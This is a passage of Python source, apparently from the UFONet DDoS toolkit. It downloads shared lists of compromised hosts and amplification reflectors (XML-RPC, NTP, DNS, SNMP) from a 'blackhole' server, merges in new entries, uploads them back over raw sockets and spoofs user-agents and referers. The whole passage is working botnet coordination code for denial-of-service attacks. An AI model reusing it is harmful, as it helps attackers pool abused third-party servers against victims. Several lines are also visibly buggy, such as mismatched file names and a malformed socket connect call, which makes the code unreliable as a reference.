  1860. if self.options.forcessl:
  1861. if self.options.proxy: # set proxy
  1862. self.proxy_transport(options.proxy)
  1863. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  1864. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1865. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  1866. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1867. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  1868. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1869. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  1870. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1871. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  1872. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1873. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)
  1874. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1875. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)
  1876. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1877. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/bosons.txt.gz', None, headers)
  1878. bosons_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1879. else:
  1880. if self.options.proxy: # set proxy
  1881. self.proxy_transport(options.proxy)
  1882. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  1883. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1884. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  1885. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1886. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  1887. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1888. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  1889. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1890. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  1891. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1892. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)
  1893. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1894. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)
  1895. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1896. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/bosons.txt.gz', None, headers)
  1897. bosons_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1898. if abductions_reply == "" and troops_reply == "" and robots_reply == "" and drones_reply == "" and reflectors_reply == "" and crystals_reply == "" and warps_reply == "" and bosons_reply == "":
  1899. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX FAILED!]")
  1900. print('-'*12 + '\n')
  1901. print("[Error] [AI] Unable to uploading list of [Zombies] to this [Blackhole] [Server] -> [Exiting!]\n")
  1902. return
  1903. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX READY!] ;-)")
  1904. f_in_abductions = gzip.open(BytesIO(abductions_reply), 'rb')
  1905. f_out_abductions = open('botnet/abductions.txt', 'wb')
  1906. f_out_abductions.write(f_in_abductions.read())
  1907. f_in_abductions.close()
  1908. f_out_abductions.close()
  1909. num_zombies = 0
  1910. with open('botnet/abductions.txt') as f:
  1911. for _ in f:
  1912. num_zombies = num_zombies + 1
  1913. print("\n[Info] [Zombies] on [Blackhole]: "+ str(num_zombies))
  1914. f_in_robots = gzip.open(BytesIO(robots_reply), 'rb')
  1915. f_out_robots = open('botnet/robots.txt', 'wb')
  1916. f_out_robots.write(f_in_robots.read())
  1917. f_in_robots.close()
  1918. f_out_robots.close()
  1919. num_robots = 0
  1920. with open('botnet/robots.txt') as f:
  1921. for _ in f:
  1922. num_robots = num_robots + 1
  1923. print("[Info] [Droids] on [Blackhole] : "+ str(num_robots))
  1924. f_in_troops = gzip.open(BytesIO(troops_reply), 'rb')
  1925. f_out_troops = open('botnet/troops.txt', 'wb')
  1926. f_out_troops.write(f_in_troops.read())
  1927. f_in_troops.close()
  1928. f_out_troops.close()
  1929. num_aliens = 0
  1930. with open('botnet/aliens.txt') as f:
  1931. for _ in f:
  1932. num_aliens = num_aliens + 1
  1933. print("[Info] [Aliens] on [Blackhole] : "+ str(num_aliens))
  1934. f_in_drones = gzip.open(BytesIO(drones_reply), 'rb')
  1935. f_out_drones = open('botnet/drones.txt', 'wb')
  1936. f_out_drones.write(f_in_drones.read())
  1937. f_in_drones.close()
  1938. f_out_drones.close()
  1939. num_drones = 0
  1940. with open('botnet/drones.txt') as f:
  1941. for _ in f:
  1942. num_drones = num_drones + 1
  1943. print("[Info] [UCAVs] on [Blackhole] : "+ str(num_drones))
  1944. f_in_reflectors = gzip.open(BytesIO(reflectors_reply), 'rb')
  1945. f_out_reflectors = open('botnet/reflectors.txt', 'wb')
  1946. f_out_reflectors.write(f_in_reflectors.read())
  1947. f_in_reflectors.close()
  1948. f_out_reflectors.close()
  1949. num_reflectors = 0
  1950. with open('botnet/reflectors.txt') as f:
  1951. for _ in f:
  1952. num_reflectors = num_reflectors + 1
  1953. print("[Info] [X-RPCs] on [Blackhole] : "+ str(num_reflectors))
  1954. f_in_crystals = gzip.open(BytesIO(crystals_reply), 'rb')
  1955. f_out_crystals = open('botnet/crystals.txt', 'wb')
  1956. f_out_crystals.write(f_in_crystals.read())
  1957. f_in_crystals.close()
  1958. f_out_crystals.close()
  1959. num_crystals = 0
  1960. with open('botnet/crystals.txt') as f:
  1961. for _ in f:
  1962. num_crystals = num_crystals + 1
  1963. print("[Info] [NTPs] on [Blackhole] : "+ str(num_crystals))
  1964. f_in_warps = gzip.open(BytesIO(warps_reply), 'rb')
  1965. f_out_warps = open('botnet/warps.txt', 'wb')
  1966. f_out_warps.write(f_in_warps.read())
  1967. f_in_warps.close()
  1968. f_out_warps.close()
  1969. num_warps = 0
  1970. with open('botnet/warps.txt') as f:
  1971. for _ in f:
  1972. num_warps = num_warps + 1
  1973. print("[Info] [DNSs] on [Blackhole] : "+ str(num_warps))
  1974. f_in_bosons = gzip.open(BytesIO(bosons_reply), 'rb')
  1975. f_out_bosons = open('botnet/bosons.txt', 'wb')
  1976. f_out_bosons.write(f_in_bosons.read())
  1977. f_in_bosons.close()
  1978. f_out_bosons.close()
  1979. num_bosons = 0
  1980. with open('botnet/bosons.txt') as f:
  1981. for _ in f:
  1982. num_bosons = num_bosons + 1
  1983. print("[Info] [SNMPs] on [Blackhole] : "+ str(num_bosons))
  1984. print('-'*12 + '\n')
  1985. if not self.options.forceyes:
  1986. update_reply = input("[AI] Do you want to merge ONLY the new [Zombies] into [Blackhole]? (Y/n)")
  1987. print('-'*25)
  1988. else:
  1989. update_reply = "Y"
  1990. if update_reply == "n" or update_reply == "N":
  1991. os.remove('botnet/abductions.txt') # remove abductions file
  1992. os.remove('botnet/troops.txt') # remove troops file
  1993. os.remove('botnet/robots.txt') # remove robots file
  1994. os.remove('botnet/drones.txt') # remove drones file
  1995. os.remove('botnet/reflectors.txt') # remove reflectors file
  1996. os.remove('botnet/crystals.txt') # remove crystals file
  1997. os.remove('botnet/warps.txt') # remove warps file
  1998. os.remove('botnet/bosons.txt') # remove bosons file
  1999. print("\n[Info] [AI] [Control] Aborting uploading process and cleaning temporal files... -> [Exiting!]\n")
  2000. return
  2001. else:
  2002. print("\n[AI] Checking integrity of your list of [Zombies] -> [OK!]\n") # only upload valid zombies
  2003. print('='*35)
  2004. zombies = self.extract_zombies()
  2005. if not zombies:
  2006. return
  2007. test = self.testing(zombies)
  2008. zombies_community = []
  2009. zombies_added = 0
  2010. f = open('botnet/abductions.txt')
  2011. abductions = f.readlines()
  2012. abductions = [abduction.strip() for abduction in abductions]
  2013. f.close()
  2014. fz = open(self.zombies_file)
  2015. zombies = fz.readlines()
  2016. zombies = [zombie.strip() for zombie in zombies]
  2017. fz.close()
  2018. for zombie in zombies:
  2019. if zombie not in abductions:
  2020. zombies_community.append(zombie)
  2021. zombies_added = zombies_added + 1
  2022. else:
  2023. pass
  2024. print("[Info] [AI] New [Zombies] found: " + str(zombies_added))
  2025. aliens = self.extract_aliens()
  2026. if not aliens:
  2027. return
  2028. aliens_community = []
  2029. aliens_added = 0
  2030. f = open('botnet/troops.txt')
  2031. troops = f.readlines()
  2032. troops = [troop.strip() for troop in troops]
  2033. f.close()
  2034. fz = open(self.aliens_file)
  2035. aliens = fz.readlines()
  2036. aliens = [alien.strip() for alien in aliens]
  2037. fz.close()
  2038. for alien in aliens:
  2039. if alien not in troops:
  2040. aliens_community.append(alien)
  2041. aliens_added = aliens_added + 1
  2042. else:
  2043. pass
  2044. print("[Info] [AI] New [Aliens] found : " + str(aliens_added))
  2045. droids = self.extract_droids()
  2046. if not droids:
  2047. return
  2048. droids_community = []
  2049. droids_added = 0
  2050. f = open('botnet/robots.txt')
  2051. robots = f.readlines()
  2052. robots = [robot.strip() for robot in robots]
  2053. f.close()
  2054. fz = open(self.droids_file)
  2055. droids = fz.readlines()
  2056. droids = [droid.strip() for droid in droids]
  2057. fz.close()
  2058. for droid in droids:
  2059. if droid not in robots:
  2060. droids_community.append(droid)
  2061. droids_added = droids_added + 1
  2062. else:
  2063. pass
  2064. print("[Info] [AI] New [Droids] found : " + str(droids_added))
  2065. ucavs = self.extract_ucavs()
  2066. if not ucavs:
  2067. return
  2068. ucavs_community = []
  2069. ucavs_added = 0
  2070. f = open('botnet/drones.txt')
  2071. drones = f.readlines()
  2072. drones = [drone.strip() for drone in drones]
  2073. f.close()
  2074. fz = open(self.ucavs_file)
  2075. ucavs = fz.readlines()
  2076. ucavs = [ucav.strip() for ucav in ucavs]
  2077. fz.close()
  2078. for ucav in ucavs:
  2079. if ucav not in drones:
  2080. ucavs_community.append(ucav)
  2081. ucavs_added = ucavs_added + 1
  2082. else:
  2083. pass
  2084. print("[Info] [AI] New [UCAVs] found : " + str(ucavs_added))
  2085. rpcs = self.extract_rpcs()
  2086. if not rpcs:
  2087. return
  2088. rpcs_community = []
  2089. rpcs_added = 0
  2090. f = open('botnet/reflectors.txt')
  2091. reflectors = f.readlines()
  2092. reflectors = [reflector.strip() for reflector in reflectors]
  2093. f.close()
  2094. fz = open(self.rpcs_file)
  2095. rpcs = fz.readlines()
  2096. rpcs = [rpc.strip() for rpc in rpcs]
  2097. fz.close()
  2098. for rpc in rpcs:
  2099. if rpc not in reflectors:
  2100. rpcs_community.append(rpc)
  2101. rpcs_added = rpcs_added + 1
  2102. else:
  2103. pass
  2104. print("[Info] [AI] New [X-RPCs] found : " + str(rpcs_added))
  2105. ntps = self.extract_ntps()
  2106. if not ntps:
  2107. return
  2108. ntps_community = []
  2109. ntps_added = 0
  2110. f = open('botnet/crystals.txt')
  2111. crystals = f.readlines()
  2112. crystals = [crystal.strip() for crystal in crystals]
  2113. f.close()
  2114. fz = open(self.ntps_file)
  2115. ntps = fz.readlines()
  2116. ntps = [ntp.strip() for ntp in ntps]
  2117. fz.close()
  2118. for ntp in ntps:
  2119. if ntp not in crystals:
  2120. ntps_community.append(ntp)
  2121. ntps_added = ntps_added + 1
  2122. else:
  2123. pass
  2124. print("[Info] [AI] New [NTPs] found : " + str(ntps_added))
  2125. dnss = self.extract_dnss()
  2126. if not dnss:
  2127. return
  2128. dnss_community = []
  2129. dnss_added = 0
  2130. f = open('botnet/warps.txt')
  2131. warps = f.readlines()
  2132. warps = [warp.strip() for warp in warps]
  2133. f.close()
  2134. fz = open(self.dnss_file)
  2135. dnss = fz.readlines()
  2136. dnss = [dns.strip() for dns in dnss]
  2137. fz.close()
  2138. for dns in dnss:
  2139. if dns not in warps:
  2140. dnss_community.append(dns)
  2141. dnss_added = dnss_added + 1
  2142. else:
  2143. pass
  2144. print("[Info] [AI] New [DNSs] found : " + str(dnss_added))
  2145. snmps = self.extract_snmps()
  2146. if not snmps:
  2147. return
  2148. snmps_community = []
  2149. snmps_added = 0
  2150. f = open('botnet/bosons.txt')
  2151. bosons = f.readlines()
  2152. bosons = [boson.strip() for boson in bosons]
  2153. f.close()
  2154. fz = open(self.snmps_file)
  2155. snmps = fz.readlines()
  2156. snmps = [snmp.strip() for snmp in snmps]
  2157. fz.close()
  2158. for snmp in snmps:
  2159. if snmp not in crystals:
  2160. snmps_community.append(snmp)
  2161. snmps_added = snmps_added + 1
  2162. else:
  2163. pass
  2164. print("[Info] [AI] New [SNMPs] found : " + str(snmps_added))
  2165. print('-'*12 + '\n')
  2166. if zombies_added == 0 and aliens_added == 0 and droids_added == 0 and ucavs_added == 0 and rpcs_added == 0 and ntps_added == 0 and dnss_added == 0 and snmps_added == 0: # not any zombie
  2167. os.remove('botnet/abductions.txt') # remove abductions file
  2168. os.remove('botnet/troops.txt') # remove troops file
  2169. os.remove('botnet/robots.txt') # remove robots file
  2170. os.remove('botnet/drones.txt') # remove ucavs file
  2171. os.remove('botnet/reflectors.txt') # remove rpcs file
  2172. os.remove('botnet/crystals.txt') # remove crystals file
  2173. os.remove('botnet/warps.txt') # remove warps file
  2174. os.remove('botnet/bosons.txt') # remove snmps file
  2175. print("[Info] [AI] Try to search for new [Zombies]. These are already in this [Blackhole] -> [Exiting!]\n")
  2176. return
  2177. else:
  2178. fc = gzip.open('botnet/community_zombies.txt.gz', 'wb')
  2179. for zombie in zombies_community:
  2180. fc.write(zombie.strip()+"\n")
  2181. fc.close()
  2182. os.remove('botnet/abductions.txt') # remove abductions file
  2183. fc = gzip.open('botnet/community_aliens.txt.gz', 'wb')
  2184. for alien in aliens_community:
  2185. fc.write(alien.strip()+"\n")
  2186. fc.close()
  2187. os.remove('botnet/troops.txt') # remove troops file
  2188. fc = gzip.open('botnet/community_droids.txt.gz', 'wb')
  2189. for droid in droids_community:
  2190. fc.write(droid.strip()+"\n")
  2191. fc.close()
  2192. os.remove('botnet/robots.txt') # remove robots file
  2193. fc = gzip.open('botnet/community_ucavs.txt.gz', 'wb')
  2194. for ucav in ucavs_community:
  2195. fc.write(ucav.strip()+"\n")
  2196. fc.close()
  2197. os.remove('botnet/drones.txt') # remove drones file
  2198. fc = gzip.open('botnet/community_rpcs.txt.gz', 'wb')
  2199. for rpc in rpcs_community:
  2200. fc.write(rpc.strip()+"\n")
  2201. fc.close()
  2202. os.remove('botnet/reflectors.txt') # remove reflectors file
  2203. fc = gzip.open('botnet/community_ntps.txt.gz', 'wb')
  2204. for ntp in ntps_community:
  2205. fc.write(ntp.strip()+"\n")
  2206. fc.close()
  2207. os.remove('botnet/crystals.txt') # remove crystals file
  2208. fc = gzip.open('botnet/community_dnss.txt.gz', 'wb')
  2209. for dns in dnss_community:
  2210. fc.write(dns.strip()+"\n")
  2211. fc.close()
  2212. os.remove('botnet/warps.txt') # remove warps file
  2213. fc = gzip.open('botnet/community_snmps.txt.gz', 'wb')
  2214. for snmp in snmps_community:
  2215. fc.write(snmp.strip()+"\n")
  2216. fc.close()
  2217. os.remove('botnet/bosons.txt') # remove bosons file
  2218. print("[Info] [AI] Starting to upload new [Zombies]...\n")
  2219. try: # open a socket and send data to the blackhole reciever port
  2220. host = self.blackhole
  2221. cport = 9991
  2222. mport = 9990
  2223. try:
  2224. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data
  2225. cs.connect(host, cport)
  2226. cs.send("SEND " + 'community_zombies.txt.gz')
  2227. cs.close()
  2228. f = open('botnet/community_zombies.txt.gz', "rb")
  2229. data = f.read()
  2230. f.close()
  2231. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2232. ms.connect(host, mport)
  2233. ms.send(data)
  2234. ms.close()
  2235. os.remove('botnet/community_zombies.txt.gz') # remove local zombies .gz file after transfer
  2236. time.sleep(1)
  2237. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2238. cs.connect(host, cport)
  2239. cs.send("SEND " + 'community_aliens.txt.gz')
  2240. cs.close()
  2241. f = open('botnet/community_aliens.txt.gz', "rb")
  2242. data = f.read()
  2243. f.close()
  2244. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2245. ms.connect(host, mport)
  2246. ms.send(data)
  2247. ms.close()
  2248. os.remove('botnet/community_aliens.txt.gz') # remove local aliens .gz file after transfer
  2249. time.sleep(1)
  2250. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2251. cs.connect(host, cport)
  2252. cs.send("SEND " + 'community_robots.txt.gz')
  2253. cs.close()
  2254. f = open('botnet/community_droids.txt.gz', "rb")
  2255. data = f.read()
  2256. f.close()
  2257. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2258. ms.connect(host, mport)
  2259. ms.send(data)
  2260. ms.close()
  2261. os.remove('botnet/community_droids.txt.gz') # remove local droids .gz file after transfer
  2262. time.sleep(1)
  2263. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2264. cs.connect(host, cport)
  2265. cs.send("SEND " + 'community_ucavs.txt.gz')
  2266. cs.close()
  2267. f = open('botnet/community_ucavs.txt.gz', "rb")
  2268. data = f.read()
  2269. f.close()
  2270. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2271. ms.connect(host, mport)
  2272. ms.send(data)
  2273. ms.close()
  2274. os.remove('botnet/community_ucavs.txt.gz') # remove local ucavs .gz file after transfer
  2275. time.sleep(1)
  2276. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading
  2277. cs.connect(host, cport)
  2278. cs.send("SEND " + 'community_rpcs.txt.gz')
  2279. cs.close()
  2280. f = open('botnet/community_rpcs.txt.gz', "rb")
  2281. data = f.read()
  2282. f.close()
  2283. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2284. ms.connect(host, mport)
  2285. ms.send(data)
  2286. ms.close()
  2287. os.remove('botnet/community_rpcs.txt.gz') # remove local rpcs .gz file after transfer
  2288. time.sleep(1)
  2289. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading
  2290. cs.connect(host, cport)
  2291. cs.send("SEND " + 'community_ntps.txt.gz')
  2292. cs.close()
  2293. f = open('botnet/community_ntps.txt.gz', "rb")
  2294. data = f.read()
  2295. f.close()
  2296. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2297. ms.connect(host, mport)
  2298. ms.send(data)
  2299. ms.close()
  2300. os.remove('botnet/community_ntps.txt.gz') # remove local ntps .gz file after transfer
  2301. time.sleep(1)
  2302. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading
  2303. cs.connect(host, cport)
  2304. cs.send("SEND " + 'community_dnss.txt.gz')
  2305. cs.close()
  2306. f = open('botnet/community_dnss.txt.gz', "rb")
  2307. data = f.read()
  2308. f.close()
  2309. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2310. ms.connect(host, mport)
  2311. ms.send(data)
  2312. ms.close()
  2313. os.remove('botnet/community_dnss.txt.gz') # remove local dnss .gz file after transfer
  2314. time.sleep(1)
  2315. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading
  2316. cs.connect(host, cport)
  2317. cs.send("SEND " + 'community_snmps.txt.gz')
  2318. cs.close()
  2319. f = open('botnet/community_snmps.txt.gz', "rb")
  2320. data = f.read()
  2321. f.close()
  2322. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2323. ms.connect(host, mport)
  2324. ms.send(data)
  2325. ms.close()
  2326. os.remove('botnet/community_snmps.txt.gz') # remove local snmps .gz file after transfer
  2327. time.sleep(2) # sleep a bit more
  2328. print('-'*12 + '\n')
  2329. print("[Info] [AI] Transfer -> [DONE!]\n")
  2330. except Exception as e:
  2331. print(str(e) + "\n")
  2332. except:
  2333. print('-'*12 + '\n')
  2334. print("[Error] [AI] Connecting sockets to [Blackhole] -> [Aborting!]\n")
  2335. return
  2336. except:
  2337. print('-'*12 + '\n')
  2338. print("[Error] [AI] Unable to upload list of [Zombies] to this [Blackhole] -> [Exiting!]\n")
  2339. return
  2340. def update_gui_data(self):
  2341. # download all GUI stream data
  2342. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2343. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2344. if self.options.proxy: # set proxy
  2345. self.proxy_transport(self.options.proxy)
  2346. if self.options.timeout: # set timeout
  2347. try:
  2348. timeout = int(self.options.timeout)
  2349. except:
  2350. timeout = 5
  2351. else:
  2352. timeout = 5
  2353. if timeout < 1:
  2354. timeout = 5
  2355. if self.options.forcessl:
  2356. news = urllib.request.Request('https://'+self.blackhole+'/ufonet/news.txt', None, headers)
  2357. news_reply = urllib.request.urlopen(news, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2358. tv = urllib.request.Request('https://'+self.blackhole+'/ufonet/tv.txt', None, headers)
  2359. tv_reply = urllib.request.urlopen(tv, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2360. missions = urllib.request.Request('https://'+self.blackhole+'/ufonet/missions.txt', None, headers)
  2361. missions_reply = urllib.request.urlopen(missions, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2362. board = urllib.request.Request('https://'+self.blackhole+'/ufonet/board.txt', None, headers)
  2363. board_reply = urllib.request.urlopen(board, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2364. grid = urllib.request.Request('https://'+self.blackhole+'/ufonet/grid.txt', None, headers)
  2365. grid_reply = urllib.request.urlopen(grid, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2366. wargames = urllib.request.Request('https://'+self.blackhole+'/ufonet/wargames.txt', None, headers)
  2367. wargames_reply = urllib.request.urlopen(wargames, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2368. links = urllib.request.Request('https://'+self.blackhole+'/ufonet/links.txt', None, headers)
  2369. links_reply = urllib.request.urlopen(links, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2370. streams = urllib.request.Request('https://'+self.blackhole+'/ufonet/streams.txt', None, headers)
  2371. streams_reply = urllib.request.urlopen(streams, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2372. globalnet = urllib.request.Request('https://'+self.blackhole+'/ufonet/globalnet.txt', None, headers)
  2373. globalnet_reply = urllib.request.urlopen(globalnet, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2374. else:
  2375. news = urllib.request.Request('http://'+self.blackhole+'/ufonet/news.txt', None, headers)
  2376. news_reply = urllib.request.urlopen(news, context=self.ctx).read().decode('utf-8')
  2377. tv = urllib.request.Request('http://'+self.blackhole+'/ufonet/tv.txt', None, headers)
  2378. tv_reply = urllib.request.urlopen(tv, context=self.ctx).read().decode('utf-8')
  2379. missions = urllib.request.Request('http://'+self.blackhole+'/ufonet/missions.txt', None, headers)
  2380. missions_reply = urllib.request.urlopen(missions, context=self.ctx).read().decode('utf-8')
  2381. board = urllib.request.Request('http://'+self.blackhole+'/ufonet/board.txt', None, headers)
  2382. board_reply = urllib.request.urlopen(board, context=self.ctx).read().decode('utf-8')
  2383. grid = urllib.request.Request('http://'+self.blackhole+'/ufonet/grid.txt', None, headers)
  2384. grid_reply = urllib.request.urlopen(grid, context=self.ctx).read().decode('utf-8')
  2385. wargames = urllib.request.Request('http://'+self.blackhole+'/ufonet/wargames.txt', None, headers)
  2386. wargames_reply = urllib.request.urlopen(wargames, context=self.ctx).read().decode('utf-8')
  2387. links = urllib.request.Request('http://'+self.blackhole+'/ufonet/links.txt', None, headers)
  2388. links_reply = urllib.request.urlopen(links, context=self.ctx).read().decode('utf-8')
  2389. streams = urllib.request.Request('http://'+self.blackhole+'/ufonet/streams.txt', None, headers)
  2390. streams_reply = urllib.request.urlopen(streams, context=self.ctx).read().decode('utf-8')
  2391. globalnet = urllib.request.Request('http://'+self.blackhole+'/ufonet/globalnet.txt', None, headers)
  2392. globalnet_reply = urllib.request.urlopen(globalnet, context=self.ctx).read().decode('utf-8')
  2393. f = open(self.news_file, 'w')
  2394. f.write(news_reply)
  2395. f.close()
  2396. f = open(self.tv_file, 'w')
  2397. f.write(tv_reply)
  2398. f.close()
  2399. f = open(self.missions_file, 'w')
  2400. f.write(missions_reply)
  2401. f.close()
  2402. f = open(self.board_file, 'w')
  2403. f.write(board_reply)
  2404. f.close()
  2405. f = open(self.grid_file, 'w')
  2406. f.write(grid_reply)
  2407. f.close()
  2408. f = open(self.wargames_file, 'w')
  2409. f.write(wargames_reply)
  2410. f.close()
  2411. f = open(self.links_file, 'w')
  2412. f.write(links_reply)
  2413. f.close()
  2414. f = open(self.streams_file, 'w')
  2415. f.write(streams_reply)
  2416. f.close()
  2417. f = open(self.globalnet_file, 'w')
  2418. f.write(globalnet_reply)
  2419. f.close()
  2420. print('-'*25 + "\n")
  2421. print("[Info] [AI] GUI data correctly updated:\n")
  2422. if news_reply:
  2423. print("[Info] [AI] [News] : OK!")
  2424. if missions_reply:
  2425. print("[Info] [AI] [Missions] : OK!")
  2426. if board_reply:
  2427. print("[Info] [AI] [Board] : OK!")
  2428. if grid_reply:
  2429. print("[Info] [AI] [Grid] : OK!")
  2430. if wargames_reply:
  2431. print("[Info] [AI] [Wargames] : OK!")
  2432. if links_reply:
  2433. print("[Info] [AI] [Links] : OK!")
  2434. if streams_reply:
  2435. print("[Info] [AI] [Streams] : OK!")
  2436. if tv_reply:
  2437. print("[Info] [AI] [TV] : OK!")
  2438. if globalnet_reply:
  2439. print("[Info] [AI] [GlobalNet]: OK!")
  2440. print('-'*25)
  2441. print("\n[AI] "+self.exit_msg+"\n")
  2442. def downloading_list(self):
  2443. # add your mirror to protect/share/distribute... [Zombies]
  2444. try:
  2445. print(("[AI] Trying [Blackhole] [Server]: "+self.blackhole+"\n"))
  2446. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2447. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2448. if self.options.timeout: # set timeout
  2449. try:
  2450. timeout = int(self.options.timeout)
  2451. except:
  2452. timeout = 5
  2453. else:
  2454. timeout = 5
  2455. if timeout < 1:
  2456. timeout = 5
  2457. if self.options.proxy: # set proxy
  2458. self.proxy_transport(self.options.proxy)
  2459. if self.options.forcessl:
  2460. try:
  2461. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  2462. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2463. except:
  2464. abductions_reply = ""
  2465. try:
  2466. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  2467. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2468. except:
  2469. troops_reply = ""
  2470. try:
  2471. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  2472. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2473. except:
  2474. robots_reply = ""
  2475. try:
  2476. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  2477. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2478. except:
  2479. drones_reply = ""
  2480. try:
  2481. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  2482. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2483. except:
  2484. reflectors_reply = ""
  2485. try:
  2486. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)
  2487. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2488. except:
  2489. crystals_reply = ""
  2490. try:
  2491. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)
  2492. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2493. except:
  2494. warps_reply = ""
  2495. try:
  2496. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/bosons.txt.gz', None, headers)
  2497. bosons_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2498. except:
  2499. bosons_reply = ""
  2500. else:
  2501. try:
  2502. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  2503. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2504. except:
  2505. abductions_reply = ""
  2506. try:
  2507. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  2508. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2509. except:
  2510. troops_reply = ""
  2511. try:
  2512. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  2513. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2514. except:
  2515. robots_reply = ""
  2516. try:
  2517. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  2518. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2519. except:
  2520. drones_reply = ""
  2521. try:
  2522. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  2523. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
